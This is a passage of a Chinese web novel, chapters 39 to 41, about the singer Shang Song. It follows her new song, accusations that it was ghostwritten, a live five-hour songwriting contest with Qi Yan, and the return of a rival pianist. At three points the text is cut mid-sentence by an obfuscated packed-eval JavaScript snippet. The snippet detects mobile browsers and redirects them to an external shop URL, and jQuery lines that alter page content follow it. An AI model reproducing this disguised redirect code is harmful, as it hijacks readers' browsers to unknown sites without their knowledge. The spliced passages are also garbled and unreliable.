他身体向后一靠,避开了商颂探究的视线,语气带着几分专业性的敷衍:“我是在七八年前的一张不知名地下乐队的废弃Demo里听到过类似的段落,觉得音色很适合你要的这种颓废感,自己瞎琢磨复刻出来的。” 商颂愣住了,原本涌到喉头的激动像是一拳打在了棉花上,“瞎琢磨出来的?” “很难吗?”伯雪寻挑眉,那神情仿佛在说‘这对天才来说只是基本操作’,“音乐这东西,到了极致都是殊途同归。如果你父亲也用过这种手法,那只能说明——” 他停顿了一下,看着商颂有些失魂落魄的眼睛,心中微微一刺,但面上依旧维持着那种不近人情的冷静:“说明他在听觉审美上,很有先见之明。但也仅此而已,别把技巧当成只有你们家才有的传家宝。” 商颂眼中的光亮一点点暗了下去。 是啊。 伯雪寻是谁?他是年少成名的音乐天才,是站在行业顶端的制作人。他听过的歌、拆解过的曲子如过江之鲫。哪怕只是偶然听到过父亲当年留下的某种痕迹,凭他的天赋,复刻出来又有什么稀奇? 那个多年前住在巷子里的小男孩,怎么可能是一身贵气、众星捧月的伯雪寻。 是自己想多了。 “抱歉。”商颂低下头,深吸了一口气,将那些不切实际的幻想压回心底,“是我失态了。只是这个声音……太像了,让我想起了一些旧事。” 乐器室里陷入了短暂的沉默。 伯雪寻看着她低垂的侧脸,他甚至能看到她睫毛上挂着一点没掉下来的晶莹。 那一瞬间,他几乎想要扔掉那该死的伪装,告诉她“我一直在”。 但他不能。 现在的商颂需要的不是一个拿着旧情去“施恩”的师弟,更不是一个会让周彻抓住软肋把柄的恋人。她需要的是一个能哪怕即使在他倒台后依然不影响她独自飞翔的合作者。 在商颂成为真正的女王之前,骑士必须戴着面具。 “回忆这种东西,要么就在夜深人静的时候拿出来下酒,要么——” 伯雪寻猛地拨动贝斯,厚重而狂躁的低音瞬间炸裂在空气中,震得商颂心头一颤。 他看着她,眼神锐利得像一把刀,逼着她从伤感中清醒过来。 “就把它变成武器。把刚才那种错愕、失落、还有不甘心,全部塞进这段旋律里。商颂,你的声音太干净了,我要的就是这种粗粝的故事感。” “别浪费我的时间去怀念你是谁的女儿。”他下达指令,“拿好你的吉他,再来一次。这次我要看到你把琴弦给切断的那股狠劲。” 商颂咬了咬嘴唇,眼眶微红,但眼神瞬间变了。 那是被激怒后重新燃起的斗志。 “不需要你说。”商颂重新架起吉他,左手狠狠按在指板上。 轰鸣声再次响起。 伯雪寻低下头继续配合着她的节奏,在那无人看见的阴影里,他那始终紧绷的嘴角,终于温柔地勾了一下。 这样就好。 只要你能往上走,我是谁,不重要。 商颂重新抓起吉他,那种灵感如同开了闸的洪水,伴随着那种深切的宿命感,瞬间淹没了她。 “这里的和弦,我要换成不协和三度。” “这首歌的名字,我想好了。” 她看着伯雪寻,一字一顿: “《DrowningRose》——溺水玫瑰。” 那是曾经的她。 被养在漂亮的水晶缸里,花瓣吸饱了水分,看似艳丽,实则正在腐烂窒息。 那是关于禁锢,关于美丽后的死亡,以及最后打碎玻璃缸的那一声巨响。 那一夜,首尔的乐器室彻夜未眠。 伯雪寻没有再说话,他甘愿成为了配角,用贝斯、用合成器、用他所有的才华为商颂铺路。 商颂写词,他编曲。商颂哼唱旋律,他填补和声。 【他们在看我,在透过玻璃看我 多完美的红色,多安静的沉默 你喂养的蜜糖,封住我的喉舌 这不是爱,是慢性的谋杀与剥夺……】 笔尖在纸上划出沙沙声响。 当天边泛起鱼肚白的时候,一首Demo诞生了。 那不是那种工业糖精味的流行曲,也不是欧美流行的口水歌。那是一首充满了阴郁、暴戾美学和哥特风格的摇滚乐。 听得让人想哭,想嘶吼,想打碎点什么。 商颂放下吉他,手指已经磨出了水泡。她转头看向旁边。 伯雪寻靠在沙发上睡着了。那张令无数人疯狂的脸此刻显得有些疲惫,眼下有着淡淡的乌青。 商颂轻手轻脚地走过去,在他面前蹲下。 晨光透过百叶窗,在他的侧脸上投下一道道光栅。 她伸出手,指尖悬停在他的眉心,却始终没有落下。那是这世上最近也最远的距离。 “谢谢你,伯雪寻。” 商颂无声地动了动嘴唇。 39. 第 39 章 GALAXY的新歌《溺水玫瑰》虽然还未正式音源上线,但那段充满窒息美学的30秒预告片被投放到网络上的瞬间,引发了一场小型的海啸。 短短三十秒的黑白画面。 商颂赤着脚站在满是水的废弃鱼缸里,眼神空洞得令人心悸,手里掐断了一支带刺的玫瑰。那一段带着令人窒息感的失真吉他Solo如同暴雨般倾盆而下,紧接着是她带着沙砾感的嗓音。 质量太高了。高得离谱。 【卧槽……这什么概念?这也太带感了吧!】 【这吉他有点东西啊!这编曲是谁?怎么没写名字?】 【商颂这演技绝了,那种破碎感简直要溢出屏幕。】 【听说这是她自己写的?如果是真的,我黑转粉了,这词写得太戳心了。】 然而,正如苏曼所预料的那样,质疑声随之而来。 【得了吧,商颂要是能写出这种东西,我倒立吃键盘。】 【肯定是请了枪手。一个靠脸吃饭的花瓶,怎么可能懂这种小众摇滚?】 【这编曲的风格太明显了,那种标志性的三连音撕裂感,绝对是祁演的手笔!】 【太恶心了,为了翻红连这种劣迹艺人的大腿都抱?祁演当年不是涉嫌那什么吗?商颂也不怕染病。】 【《枪手玫瑰》吧,建议改名。商颂你要点脸,别说是自己作词作曲,当观众是傻子?】 【商颂就是个傀儡,别洗了。】 质疑声如滚雪球般越滚越大。甚至有乐评人煞有介事地发长文分析,指出《溺水玫瑰》的和弦走向完全是SOLAR乐队早期的废案风格,认定商颂是在“剽窃”或“代笔”。 在他们口中,商颂是一个没有灵魂、靠出卖色相窃取才华的小偷;而祁演,则是一个只要给钱或者给人就可以出卖原则的落魄烂人。 首尔,寻星大楼。 玻璃烟灰缸狠狠砸在地上,碎片四溅。 APRICITY的经纪人江寄看着平板上那些不堪入目的评论,气得手都在抖,“这帮人是瞎了吗?那吉他明明是伯雪寻录的!怎么就成了祁演给商颂代笔了?” 他转头看向坐在角落阴影里的伯雪寻。 “舆论是不可控的。”伯雪寻的声音很冷,“在大众眼里,祁演是刚刚和她爆出‘恋情’的绯闻对象。加上祁演以前的才华背书,这种联想才最‘符合逻辑’。” “那现在怎么办?难道真的要把那份录音工程文件放出去?一旦公开编曲是你,那‘保持距离’的协议就废了,周彻那边——” “不能公开。”伯雪寻打断他,“现在公开,只会变成‘两男争一女’的狗血剧,反而更模糊了商颂的才华。他们会说,不管是谁写的,反正不是商颂写的。” “那就让她背着‘枪手代笔’的骂名?” “不。” 伯雪寻拧开瓶盖,仰头喝了一口水,喉结滚动。他将瓶子捏瘪,扔进垃圾桶,发出“咣”的一声。 “要证明一个人没说谎,最好的办法不是解释。” 他抬起头,那双平日里波澜不惊的眸子里,闪过一丝极其狠戾的精光。 “是让她在众目睽睽之下,再‘杀’一次人。” 伯雪寻拿出手机,拨通了一个号码。那个号码属于国内目前最残酷、最真实的顶级音综《极限原声》的总制片人。这个节目以“直播创作、全开麦无修音、极端限时”著称,被称为“偶像艺人的火葬场”。 “喂,刘导。是我。” “上次你邀请我去做总决赛嘉宾的事,我答应了。但我有个条件。” “下一期的飞行踢馆名额,给商颂。不用特殊照顾,就玩最狠的那个‘限时创作’模式。” “另外,她的搭档人选,我帮你定好了。你会很满意的,这绝对是今年的收视巅峰。” 三天后,长沙。 《极限原声》的录制现场后台弥漫着一股令人窒息的低气压。这里聚集了圈内最顶尖的唱作人、独立乐队和声乐怪物。每个人都心高气傲,对“流量”二字嗤之以鼻。 当商颂推门走进备战间时,原本嘈杂的房间瞬间安静了三秒,随后是若无其事的窃窃私语和甚至不加掩饰的嘲笑眼神。 商颂今天穿得很简单,一身黑色的工装连体裤,头发扎成高马尾,干净利落。她没带任何助理,自己背着一把并不昂贵的吉他。 她找了个最偏僻的角落坐下,闭目养神,自动屏蔽了周围的敌意。 “有些人啊,脸皮真是厚。靠绯闻蹭上来的,也敢来这儿丢人现眼。” “听说她是来‘洗白’枪手事件的?也不看看这儿是什么地方,没提词器没修音,待会儿别哭着找妈妈。” “而且还要现场抽搭档,谁要是抽到她,真是倒了八辈子血霉。” 随着节目官宣嘉宾名单陆续放出,现场几千名已经入座的观众早已在微博和朋友圈炸开了锅。商颂的名字就像一滴污水滴进了清水里。 【节目组为了热度疯了吧?商颂懂个P的创作?】 【这种竞技音综放个花瓶进来,对其他专业歌手太不公平了。】 【等着看笑话吧,一轮游预定。】 直播倒计时五分钟。 主持人走上舞台,激昂的声音传遍全场:“今晚是《极限原声》著名的‘盲盒搭档战’!我们有一位极其特殊的踢馆嘉宾商颂,她的搭档,是由节目组特别邀请的一位——‘地狱归来’的神秘音乐人!” 随着大屏幕上的倒计时归零,一束幽蓝色的追光打向舞台另一侧的升降台。 没有欢呼,只有全场几千名观众疑惑的呼吸声。 升降机缓缓升起。 一个身影懒洋洋地站在那里。他穿着一件领口微敞的花衬衫,外面罩着件旧皮衣,极短的寸头显得那张脸更是凌厉逼人。他手里提着一个有些掉漆的吉他盒,像是刚从哪个菜市场逛完回来,而不是上了顶级综艺。 当他的脸清晰地出现在大屏幕上时,现场爆发出一阵难以置信的惊呼,随后是如潮水般的嘘声。 “卧槽?!我看错了吗?那是……祁演?!” “SOLAR的那个祁演?他不是废了吗?” “节目组疯了吧!请个劣迹艺人?” “好家伙,绯闻男女主直接打包送上台?这为了流量脸都不要了?” 祁演仿佛听不到那些嘘声。他甚至还要死不死地对着镜头挑了挑眉,那是刻在骨子里的狂妄。 他大步走到商颂所在的区域。其他选手像躲瘟疫一样纷纷避让。 只有商 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17247976|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颂,依旧闭着眼。 直到祁演走到她面前,用那只满是茧子的手在她眼前的桌面上叩了叩。 “喂。” 商颂睁开眼,并没有惊讶,反而极其冷静地看着他。 “你怎么来了?” 祁演拉开椅子,大马金刀地在她身边坐下,从吉他盒里掏出一瓶矿泉水,“没办法,有人开的价太高了。七色光那个破教室漏雨,我得赚点钱修屋顶。” 商颂看着他,嘴角勾起一抹极淡的弧度:“我还以为你是为了我来的。” “想得美。”祁演嗤笑一声。 “各位,既然两位争议人物到齐了。”主持人的声音里透着搞事情的兴奋,“第一关热身赛:绝对音感。听说商颂老师的乐理备受质疑,为了公平起见,如果你能答对,拥有优先选题权。” “如果不幸全错……那这可能就是你们的告别舞台。” 一架施坦威被推了上来。 考验规则变态至极:三位不同的钢琴师,同时按下十个音,组成一团极其混乱、不和谐的音簇。选手需要在一秒内报出所有音名。 现场一片哗然。这根本不是考歌手,这是考机器。连几位资深唱作人都面露难色。 “我来弹?”祁演站起身,似乎想帮她解围,“我听力还没废。” “不用。” 商颂伸手拦住了他。她站起身,那种在大理悬崖边的风又吹回来了。她脱掉外套,露出里面黑色的吊带,瘦削的肩膀如刀削般挺拔。 “我自己来。” 她走到舞台中央,背对着钢琴,戴上眼罩。 “请开始。” “咣!!” 那一声明亮到刺耳的混乱和弦瞬间砸响。 全场屏息。 不到0.5秒。 “C4,E4,降G4,A4,B4,C5,升D5,F5,G5,以及……” 商颂的声音清冷,没有任何停顿,报菜名一样精准,“最低音是A1,那个琴键有点受潮,音色偏闷。” 全场死寂。 钢琴师震惊地核对答案:“……全对。而且那个A1键,确实今天有点问题。” 弹幕疯了。 【我靠?!真的假的?这就是传说中的绝对音感?】 【这也太强了吧?十个音同时按下去听起来就是噪音啊,她怎么分辨出来的?】 【装的吧?是不是有剧本?】 还没等质疑声落下,商颂摘下眼罩,“下一题。太简单了,浪费时间。” 那是属于天赋者的傲慢。这一刻,她不再是只会假唱的花瓶,而是一把因为太锋利而被雪藏太久的刀。 祁演坐在后面,看着她的背影,突然笑出了声。 “这死女人。”他低声骂了一句,眼神里却满是那夜在大理看过日出后的欣赏,“果然没死透。” 热身赛只是开胃菜。真正的地狱模式,是接下来的环节。 五小时。 在一个四面全是玻璃的透明房间里,在全网数千万人的直播注视下,从零开始创作出一首完整的新歌。没有枪手,没有后期,只有商颂和祁演两个人,以及一堆乐器。 题目是大屏幕随机滚动的。 最终,定格在两个字——【废墟】。 40. 第 40 章 多么讽刺,又多么贴切的题目。两个刚从人生废墟里爬出来的人,要为这片废墟写首诗。 进入玻璃屋,外界的声音被隔绝,但无数双眼睛透过摄像头死死盯着他们。 第一个小时,两人什么都没做。 祁演盘腿坐在地毯上,调试着他的吉他效果器,一遍又一遍。商颂靠在懒人沙发上,手里拿着纸笔,却只字未写,盯着天花板发呆。 弹幕开始焦躁。 【这两人干嘛呢?摆烂?】 【就这?看来绝对音感也是蒙的,真本事一点没有。】 【祁演都那样了还能写出歌?别搞笑了。】 只有伯雪寻。 他在保姆车里盯着直播屏幕,眼神没有移开分毫。他知道,这是暴风雨前的宁静。 第三个小时。 祁演突然动了。他踩下失真踏板,那个极其暴躁的D小调riff瞬间充满了整个房间。那声音刺耳,却又带着一种毁灭后的生机。 商颂猛地坐直,像是被这个信号唤醒。 她没有说话,拿起旁边的小提琴——那是她除了吉他外隐藏的另一个技能。 没有任何交流。 当吉他发出狂躁的低吼时,尖锐而凄美的小提琴声猛地切入。不像通常的优雅,商颂拉出的声音是颤抖的、破碎的,像是废墟上随风飘摇的塑料袋,又像是濒死的鸟鸣。 两个人,两种乐器,在没有言语的情况下,开始了一场疯狂的“厮杀”。 祁演在弹着他的愤怒,商颂在拉着她的挣扎。他们不需要沟通和弦走向,因为那种同病相怜的默契早就刻在骨子里。 商颂抓起笔,开始在纸上疯狂地写字。 祁演突然停下,指了指谱子上的某一小节,“让它像心跳停了一拍那样空着。” 商颂看了他一眼,瞬间领悟:“休止符。你想制造那种‘死后’的寂静?” “对。”祁演眼底燃着狂热的光,“置之死地而后生。废墟之所以美,是因为曾经辉煌过。我们要先把那辉煌砸碎。” 接下来的两个小时,直播间的观众像是目睹了一场“神降”。 没有争吵,没有卡顿。这两人像是共用一个大脑。祁演随便弹出一个动机,商颂立马能接上完美的旋律;商颂写下一句词,祁演立马能给出一个神来之笔的转调。 倒计时最后五分钟。 商颂放下笔,手微微颤抖。祁演满头是汗,那件花衬衫已经湿透了贴在身上。 两人对视一眼,看到了彼此眼中的火。 那是把整个世界烧干净的火。 “完成了。” 五小时极限创作倒计时结束。 直播间的热度已经因为之前的“绝对音感”打脸事件冲上了第一,但观众的质疑并没有消失,反而变成了更深的等着看好戏的心态——会听音有什么用?创作讲究的是底蕴和才华,这两个混子能行? 第一组登台的,是圈内公认的“教科书组合”:国家队级唱将宋哲,搭配学院派金牌制作人宋柯。 他们一出场,全场掌声雷动。 舞台被布置成了恢弘的古希腊断壁残垣。弦乐团缓缓奏响,这是一首极其工整、大气的《庞贝的最后一夜》。宋哲的美声唱法完美无瑕,那种对于辉煌逝去的哀叹、对于历史尘埃的敬畏,通过教科书般的高音层层递进。 太高级了。 太完美了。 一曲终了,不少观众眼眶含泪,评委席上的乐评人纷纷起立鼓掌。 “这就是‘废墟’的标准答案!”一位乐评人激动地点评,“这才是艺术!这才是我们节目该有的水准!” 观众席上的讨论声再一次变得刺耳起来,这次是对准即将上场的商颂和祁演。 “珠玉在前,商颂那一组估计连那个玻璃屋都不敢出来了吧?” “一个是国家队的恢弘史诗,一个是还没毕业的半吊子,这怎么比?降维打击啊。” “笑死了,我都替商颂尴尬。要是我是她,这时候就装晕退赛,免得等会被秒得渣都不剩。” “祁演那吉他看着都生锈了,能弹出什么玩意儿?怕不是噪音污染。” “这一组也就是来凑数的,大家趁这时候去上个厕所吧。” 镜头扫过商颂和祁演的休息区。 没有人知道,此时此刻,两只正在磨牙的野兽正准备出笼。 祁演背上那把破旧的电吉他,听着外面震耳欲聋的“宋哲!宋哲!”,他侧头看了一眼商颂,“听到没?他们觉得刚才那个就是标准答案。” 商颂慢条斯理地将马尾辫束得更紧,“那就告诉他们,废墟不是用来在那儿哭哭啼啼怀念的。” 她拿起立麦,“废墟,是用来踩在脚下的。” 主持人带着几分看戏的语气宣布:“下一组,商颂、祁演。作品——《荒原狼》。” 没有欢呼。稀稀拉拉的掌声里夹杂着明显的嘘声。 舞台灯光被全部强行要求关闭,只留下一盏惨白的顶灯,瞬间将刚才宋哲营造的那种金色史诗感击得粉碎,模拟出审讯室一般冷硬又压抑的氛围。 地上散落着刚才宋哲组没来得及清理干净的残垣断壁泡沫道具。 多么讽刺。 所谓“教科书”留下的背景,此刻成了这两人脚下的垃圾。 商颂穿着那身黑色的工装,就那样孤零零地站在一堆“华丽的垃圾”中间。祁演坐在旁边的高台上,抱着琴,两条长腿随意耷拉着。 歌名:《荒原狼》。 没有前奏。 商颂直接清唱。 【神殿塌了,你在笑什么? 乌鸦飞过,我在等什么?】 声音一出,全场起鸡皮疙瘩。那不再是《溺水玫瑰》里的幽怨,而是一种荒凉到极致后的淡漠。 紧接着,祁演的吉他像是一声炸雷,轰然切入。鼓点躁动,节奏瞬间从抒情变成重金属摇滚。 商颂猛地扯开脑后的发绳,长发炸开。她没有拿麦克风架,而是抓着立麦,那种力量感瞬间爆发。 这是一场关于撕咬的演出。 在间奏部分,商颂做出了一个令所有人都没想到的举动。她扔开麦克风,在狂暴的吉他声中,冲向祁演。 那不是拥抱,是进攻。 这是一段现代舞。 商颂的动作极具张力,她像是一只受了伤却依然要咬断猎物喉咙的狼。她扑向祁演,而祁演单手弹琴,另一只手极其精准地接住了她腾空而起的身体。 借力,旋转,下腰。 两人身体纠缠,眼神对视时却像是要杀了对方。那种极强的张力在那一刻爆发到了顶点——关于性、关于死亡、关于征服与反抗。 在音乐的最高潮,商颂被祁演单手托举过头顶。她仰起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17252628|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,修长的脖颈形成一道濒死的弧度,仿佛在向这残酷的上天献祭。 而祁演,用那把吉他,发出了最后一声如同狼嚎般的长啸。 “砰!” 最后的重音落下。商颂从高处“坠落”,被祁演稳稳接在怀里,却并非那种浪漫的公主抱,而是像抱住一具战友的尸体。 灯光熄灭。 全场足足安静了十秒钟。 然后,尖叫声几乎要把演播厅的天花板掀翻。无数观众站起来,有人疯狂鼓掌,有人在抹眼泪。 弹幕更是彻底瘫痪。 【封神!!!这特么才是直播!!!这特么才是创作!!!】 【我的天,我浑身都在发抖,这两人太配了!那种性张力简直绝了!】 【谁还敢说商颂是花瓶?!五小时写出这种词,这要没点文化底蕴根本写不出来!】 【祁演也没废啊!这吉他还是当年的味儿!我哭了,SOLAR魂还在!】 【这两个疯子……他们把舞台变成了战场。】 台下。 主持人激动得语无伦次上台:“天啊,这真的是五小时内完成的吗?太不可思议了!这支舞也是临时编的?” 商颂从祁演怀里挣脱出来,调整了一下呼吸,那种野性瞬间收敛,变回了高冷的模样。 “是的。”她拿着麦克风,目光扫过那些曾经轻视她的人,“这是本能。” “本能?” “在废墟里求生的本能。”商颂淡淡地回答,转头看了一眼祁演。 祁演背着吉他,嘴角挂着那种漫不经心的笑。 “祁演老师有什么想说的吗?”主持人试图从这位话题人物嘴里撬出点什么。 “没什么好说的。” 祁演耸了耸肩,“只不过是想告诉有些人——垃圾即使在废墟里,也是能烧起来的。小心点,别烫着手。” 说完,他把麦克风扔回给主持人,也不管什么endingpose,转身,单手插兜,拎着琴就要下台。 “商颂,走了。饿了,吃宵夜去。” 商颂愣了一下,随即笑了。她也没管还没说完台词的主持人,大步跟了上去。 两个背影,一般的高傲,一般的决绝。 这不仅仅是一场演出的成功,这是一场彻头彻尾的翻盘。 #商颂绝对音感#、#商颂祁演荒原狼#、#极限原声封神现场#瞬间霸占了热搜前三。之前关于“枪手”的谣言,在这个极其强悍、无法作假的现场面前,变成了最可笑的笑话。 保姆车里。 伯雪寻看着屏幕上那两个并肩离去的背影,手指轻轻摩挲着已经黑下去的手机屏幕。 车厢里很暗,没人能看清他的表情。 只有一直坐在他身边的唐嘉树,看到这位永远冷静自持的哥哥,眼角似乎有些微微的红。 “雪寻哥,”唐嘉树小心翼翼地开口,“这样真的好吗?现在的风向……大家都开始嗑他们俩的CP了。” 伯雪寻闭上眼,将头靠在椅背上。 “只要她能飞起来。” 他的声音很轻,“就算翅膀不是我亲手插上的,也没关系。” 这就是他的爱。 不像祁演那样烈火般与其共焚,而像深海。沉默,浩瀚,托举着她,却甘愿让自己隐没在黑暗的海底,看着她奔向他去不了的光明。 41. 第 41 章 风暴中心的宁静,往往比风暴本身更令人胆寒。 在《极限原声》直播结束后的整整一周里,互联网上关于商颂的讨论热度几乎沸反盈天。#商颂祁演《荒原狼》#的舞台直拍播放量破亿,各大音乐榜单上《溺水玫瑰》霸占榜首。按理说,这是对盛天娱乐和周彻最响亮的一记耳光。 如果是以前的周彻,这会儿早就动用资本的力量撤热搜、发黑通稿、甚至直接律师函警告了。他是一个控制欲极强的人,绝不允许这种“背叛者”在他头上作威作福。 可是这一次,盛天娱乐安静得像是一座坟墓。 除了最初那份不痛不痒的“切割声明”,周彻再也没有任何动作。没有新的黑料,没有营销号带节奏,甚至连商颂那边的商务解约纠纷,对方的处理速度都慢了下来,像是在故意拖延,又像是根本不在乎。 这种反常的“大度”,让商颂感到一种莫名的惊悚。 就像是一只准备殊死一搏的猎物,浑身肌肉紧绷地露出了獠牙,结果猎人却收起了枪,转身去擦拭另一件更为精美的瓷器,连看都懒得再看猎物一眼。 “太安静了。” 寻星大楼的顶层,商颂站在落地窗前,俯瞰着首尔繁华却冰冷的夜景,眉心微蹙,“苏曼姐,周彻不是那种吃了亏往肚子里咽的人。他现在的沉默,只有一种可能——他在憋个大的。” 苏曼正在翻阅文件的手顿了一下。她摘下眼镜,揉了揉眉心,神色凝重。 “女人的直觉有时候真准得可怕。” 苏曼从抽屉里拿出一份并未拆封的情报,那是她动用了在京圈多年的老关系才挖出来的内幕。 “原本我不想现在告诉你,怕影响你制作新专辑的心情。但既然你问了,有些事确实需要早作准备。” 苏曼将那份文件推到商颂面前,指尖在那个名字上点了点。 “这就是周彻沉默的原因。他不是放过了你,而是他根本腾不出手来对付你。他所有的资源、精力、甚至盛天娱乐未来三年的S+级规划,都在为这一个名字铺路。” 商颂低下头。 文件封面上并没有复杂的商业计划,只有一张显然是偷拍的高糊机场侧影照。 照片里,女人穿着一身简单的白麻长裙,带着大宽檐帽,仅仅露出一个白皙优雅的下巴和那一截纤尘不染的天鹅颈。哪怕只是背影,那股从骨子里透出来的矜贵与从容,都与这娱乐圈的乌烟瘴气格格不入。 那个身影,商颂太熟悉了。 “岑星。” 商颂轻声念出这两个字。 “是的,她要回来了。” 苏曼叹了口气,“她在维也纳待了整整三年,说是进修古典音乐,其实也是为了避当年祁演那个案子的风头。现在祁演在大理成了废人,周彻把所有的路都帮她铺平了。下个月,她会带着维也纳交响乐团回国,作为‘天才钢琴家’和‘古典跨界女神’高调复出。” 商颂盯着那张照片,手指有些僵硬。 难怪。 难怪周彻不在乎她的《溺水玫瑰》有多红,不在乎她和祁演在台上发什么疯。 因为在他周彻眼里,商颂再红,也就是个在泥地里打滚、嘶吼、满身脏污的“戏子”。她唱摇滚,跳劲舞,无论多野性,那都是“下里巴人”的玩意儿。 而岑星,是云端上的月亮,是高雅艺术的代名词。周彻是要把这轮月亮重新捧回天上。 “周彻停掉了所有对你的攻击,是因为他要净化网络环境。”苏曼的声音很现实,“他不希望岑星回来的词条旁边,挂着关于‘替身’、‘前女友’、‘撕逼’这种恶俗的字眼。他要给岑星一个干干净净、万众瞩目的舞台。至于你商颂……” 苏曼没有说完。 但商颂懂了。 至于她商颂,不过是一块曾经用来取暖、现在碍事了就被一脚踢进角落的黑炭。连被当成敌人针对的资格都没有,只配被无视,被当作垃圾清扫出岑星的视野。 这比封杀更羞辱。 这就是替身的宿命吗?正主一回宫,影子就该消失在光里。 商颂放下文件,脸上露出一个比哭还难看的笑,“原来如此。我还以为我在跟他打仗,原来我只是在人家门口要饭的疯狗,人家关了门在准备宴席,根本不想理我。” “商颂!”苏曼厉声喝止,“别这么轻贱自己!GALAXY现在的流量是实打实的!” “流量?那些流量是建立在我是‘复仇大女主’的人设上的!” 商颂猛地抬头,眼圈泛红,“可如果全世界都知道,我的前任根本不在乎我的复仇,他正忙着给他的白月光铺花路……那我算什么?我的愤怒,我的《溺水玫瑰》,是不是都成了笑话?” 她一直以为自己挣脱了笼子。 现在才发现,那个男人从来就没把锁扣死,因为他知道,这只金丝雀根本飞不出他编织的天空。 深夜,寻星大楼的天台。 这里的风很大,吹得人头皮发麻。商颂手里夹着一根没点燃的烟,靠在栏杆上,看着首尔塔的方向发呆。 身后传来铁门推开的吱呀声。 即便不回头,商颂也知道是谁。那种独特的冷冽气息,像是雪松混着烟草,那是这栋楼里唯一能让她感到一丝安全的味道。 “这里禁止明火,但允许心烦。” 伯雪寻走过来,并没有靠得太近,在离她两米远的地方停下。他今天没有戴帽子,头发被风吹得有些乱,露出了光洁的额头,那双眼睛在夜色下亮得惊人。 “如果你是来劝我想开点的,那你可以回去了。”商颂声音闷闷的,“我不需要心灵鸡汤。” “我没带鸡汤,我只带了酒。” 伯雪寻从风衣口袋里掏出两罐便利店买的廉价啤酒,“啪”地一声拉开拉环,递给她一罐。 商颂愣了一下,接过啤酒,仰头灌了一大口。冰凉的液体顺着喉咙流进胃里,激得她打了个寒颤,但也让那混沌的大脑清醒了几分。 “你知道了?”商颂问。 “全公司都知道了。苏曼正在紧急开会,想方案怎么避开岑星的宣发期。”伯雪寻喝了一口酒,语气平淡,“毕竟那是真正的‘皇族’回归,带着资本的重武器。” “你也觉得我比不上她,是吗?”商颂自嘲地笑了笑,“她是钢琴女神,我是选秀出身的爱豆;她是名门闺秀,我是卖笑戏子;她是白月光,我是……那抹不管怎么洗都洗不掉的蚊子血。” 她低下头,声音里透着浓浓的疲惫,“伯雪寻,我有时候真的在想,是不是无论我怎么努力,把骨头打断了重连,在那群人眼里,我也只是个赝品?” 那种深入骨髓的阶级自卑,是商颂最致命的软肋。她在周彻身边被驯化了三年,那个笼子的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17258654|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阴影,哪怕在拆掉笼子后,依然投射在她的灵魂上。 伯雪寻没有说话。 他只是静静地看着她,看着这个在大理敢骑摩托车、在舞台上敢摔吉他,此刻却在深夜里把自己缩成一团的女孩。 突然,他伸手,夺走了她手里的啤酒罐。 “喂!”商颂皱眉。 “看那边。” 伯雪寻并没有把酒还给她,而是伸手指了指远处的天空。 那里悬挂着一轮皎洁的圆月,清冷,高远,完美无瑕。而在这个城市的霓虹灯光下,那月光显得遥不可及。 “岑星就像那月亮。”伯雪寻的声音低沉,“她是完美的,她被周彻保护在真空中,不染尘埃。她弹肖邦,弹拉赫玛尼诺夫,她代表着这世俗眼中‘高贵’的标准。” 商颂苦笑:“你这是在夸她?” “听我说完。” 伯雪寻转过身,目光死死锁定着商颂,那眼神比月光更炽热,“月亮之所以发光,是因为它在反射太阳的光线。它本身是一块冰冷的、死寂的石头。它没有温度,没有生命,它所有的光环都是别人赋予的。” 他上前一步,那种强大的压迫感瞬间逼退了周围的冷空气。 “但你不是。” 伯雪寻伸出手,修长的手指悬在她的心口,隔着那件单薄的黑衣,仿佛能触碰到下面跳动的心脏。 “商颂,你是火。是在废墟里烧起来的野火,是地核里喷出来的岩浆。” “火是脏的,因为它要吞噬氧气,要燃烧木头,要冒烟,要留下灰烬。但是火是有温度的,是活的,是能烫伤人的。它不需要谁给它打光,因为它自己就是光源。” 商颂怔怔地看着他,瞳孔在颤抖。 “不要试图去做另一个更完美的月亮,你永远拼不过她。因为这个世界已经被设定好了,白就是白,黑就是黑。” 伯雪寻的声音变得极其狠厉,那是来自同类的训诫,“周彻想看月亮,那就让他看个够。但我们要做的,不是求他回头看一眼地上的火,而是……” 他抓起商颂的手,狠狠按在栏杆冰冷的铁锈上。 “把这场火烧大。烧到漫天遍野,烧到浓烟滚滚,把那天给遮住。当日食发生的时候,谁还会记得月亮长什么样?” “遮住它。吞噬它。” “GALAXY,银河系本身就是暴力的美学。这里允许恒星爆炸,允许黑洞吞噬。商颂,做你自己。做那个满身泥泞、张牙舞爪、不知天高地厚的你自己。” “如果周彻留给岑星的是天堂,那你就负责把这人间变成让所有人都不得不沉沦的失乐园。” 商颂的心脏剧烈地撞击着胸腔。那是一种被电流击穿后的酥麻感。 